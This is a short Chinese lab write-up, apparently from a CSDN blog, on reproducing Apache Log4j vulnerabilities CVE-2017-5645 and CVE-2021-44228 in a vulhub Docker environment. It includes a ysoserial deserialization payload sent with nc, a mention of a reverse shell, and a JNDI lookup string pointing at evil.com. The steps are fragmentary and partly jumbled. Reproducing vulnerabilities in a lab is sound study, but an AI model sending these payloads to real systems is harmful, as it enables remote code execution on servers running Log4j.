Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
2、搭建docker
3、复现使用ysoserial生成payload，然后发送给your-ip:4712端口
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE-2017-5645_is_success" | nc ip 4712
执行docker-compose exec log4j bash进入容器，/tmp/success 已成功创建：
反弹shell
0x01 CVE-2021-44228 1、简介Apache Log4j 2 是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入，执行任意代码。
————————————————
https://blog.csdn.net/csdnmmd/article/details/122036527
3、复现
（vulhub环境搭建+复现）CVE-2021-44228 Apache Log4j 远程代码执行漏洞_低危表演艺术家的博客-CSDN博客_vulhub更新
